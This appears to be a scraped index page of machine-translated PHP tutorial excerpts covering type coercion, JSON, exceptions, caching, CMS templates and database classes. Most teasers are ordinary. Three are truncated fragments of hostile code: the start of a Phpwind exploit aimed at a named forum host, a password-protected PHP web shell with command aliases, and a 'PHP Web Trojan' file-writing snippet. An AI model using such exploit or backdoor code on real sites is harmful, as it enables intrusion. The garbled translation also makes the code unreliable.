PHP Tutorials

/** * Global Function * * @author Avenger * @version 1.14 $Id 2003-05-30 10:10:08 $ */ /** * Popup Prompt box * * @access Public * @param string $txt pop up a popup box $txt the content to be popped * @return void */ function PopBox ($txt) { echo "";

Codz by Sword Heart The exploiet of the all Phpwind Version By Sword Heart Ini_set ("Max_execution_time", 0);Error_reporting (7); $path = "/search.php";$server = ' bbs.ccidnet.com ';$cookie = ' lastfid=0; ol_offset=

Copy CodeThe code is as follows: echo " numeric coercion: "; $string = "2a"; $string 1=intval ($string); Echo ' $string 1 Value: '. $string 1. ' $string 2 value: ';//single quotation mark does not output variable, output as-is $string 2= (int)

The translations performed is: Copy CodeThe code is as follows: ' & ' (ampersand) becomes ' & ' ' ' ' (double quote) becomes ' "When Ent_noquotes was not set. "(single quote) becomes" only if Ent_quotes is set. ' ' > ' (greater than) becomes ' > '

Home Four: Latest topics + Latest replies + Hot Topics + Essence article for DZ5.5 Official edition Applicable version: discuz!5.5 official version Change Difficulty: Easy Database Upgrade: None Demo Website: http://fhxye.cn/ Author: I just modified

It is based on a subset of JavaScript programming Language, Standard ECMA-262 3rd Edition-december 1999 JSON mainly uses the paired {} to wrap each object (object), using the paired [] to wrap each array, Use the paired "" to wrap the strings, use

on the Internet to find PHP learning resources, stroll to the openphp.cn, according to my understanding of the station's webmaster to PHP can be said more proficient. It is worth my studying, he has written this article: introduce several PHP books

I see someone criticizing PHP, what this place is not good for, that place is not good to use. In fact, strictly speaking, there is no language to use, there is no language has a strict standard, everything has a development process, we can not wait

1 First of all, Try,catch. $path = "D:\\\\in.txt"; Try//Detect exceptions { File_open ($path); } catch (Exception $e)//Catch exception { echo $e->getmessage (); } function File_open ($path) { if (!file_exists ($path))//If the file cannot be found,

Data caching is a kind of performance optimization method commonly used in web development. At present, the main file cache or database cache two forms, database cache database is not what is impossible, it is also very good is very important. I

But there was a problem: First, running PHP is a apche user, such as nobody, then it is generally not authorized to access the/usr/local/mysql/data directory Second, even if you can access, then how can you copy the files in the/usr/local/mysql/data

Before you know the template code for DEDECMS, it makes sense to know the knowledge of the dream templating engine. Weaving dream template engine is a template parser using XML namespace form, the biggest advantage of using the Dream Parser parsing

Zhou Haihan/Wen ADO can be used with new COM ("ADODB. Connection ", NULL, Cp_utf8)//65001 Such statements to achieve the correct conversion. However, ADO lacks documentation for PHP support. And there is an open source ADODB, the document is richer.

Copy CodeThe code is as follows: /** * Function: Set up classification cache according to condition reduce category use * Date Created: Thu 15:55:11 CST 2007 * Last update: * Author: Sanshi */ Class Treecache { var $tableName =

Copy CodeThe code is as follows: Here you can set up multiple users $passwd = Array (' ha0k ' = ' ha0k ', ' HACKERDSB ' = ' HACKERDSB '); /* Set the alias of the command here */ $aliases = array (' ls ' = ' ipconfig ', ' ll ' = ' ls-lvhf '); if

Copy CodeThe code is as follows: /* * MySQL Database connection class * mysql.class.php 2009.04.15 by Hackbaby */ Class Dbstuff { var $version = '; var $querynum = 0; var $link = null; Connecting to a database Function Connect ($dbhost, $dbuser,

1. Establishing a database connection Copy CodeThe code is as follows: $mysqli = new Mysqli ("localhost", "root", "" "," mydb "); ?> Establishing a database connection requires four parameters, namely the database address, the database access

PHP Web Trojan Copy CodeThe code is as follows: Header ("content-type:text/html; charset=gb2312 "); if (GET_MAGIC_QUOTES_GPC ()) foreach ($_post as $k = $v) $_post[$k] = stripslashes ($v); ?> Save file Name: ">">

Well, in fact, most of the time it is possible, and some aspects are still very disturbing, the following slow way. Many languages offer a very elegant and beautiful way to manipulate arrays. In the following example, the closure functionality

PHP gets the first letter of Chinese pinyin Copy CodeThe code is as follows: function Getinitial ($STR) { $asc =ord (substr ($str, 0, 1)); if ($ASC { if ($asc >=48 && $asc Return ' 1 '; Digital }elseif ($asc >=65 && $asc return Chr ($ASC);